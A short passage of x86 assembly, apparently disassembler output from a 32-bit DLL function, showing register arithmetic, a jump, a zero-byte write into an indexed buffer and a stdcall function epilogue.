or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10011ba9
mov eax, 1
imul ecx, eax, 0x14
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4